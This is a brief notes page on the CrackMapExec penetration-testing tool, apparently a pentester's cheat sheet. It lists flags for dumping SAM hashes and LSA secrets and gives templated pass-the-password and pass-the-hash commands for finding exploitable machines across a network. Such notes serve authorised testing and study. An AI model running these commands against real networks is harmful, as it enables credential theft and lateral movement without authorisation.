https://github.com/Porchetta-Industries/CrackMapExec

Resources

Flags

--sam
Dump SAM hashes.

--lsa
Dump LSA Secrets.

Pass the Password

crackmapexec smb [TARGET_NETWORK_ADDRESS]/[TARGET_CIDR] -d [TARGET_DOMAIN] -u [mySamName] -p [myUserPassword]
Pass the Password around the network to find pwnable machines.

tool-crackmapexec-example.png

Pass the Hash (NT)

crackmapexec smb [TARGET_NETWORK_ADDRESS]/[TARGET_CIDR] -u [mySamName] -H [myUserNTHASH] --local-auth
Pass the Hash attack (NT Hash) around the network to find vulnerable machines.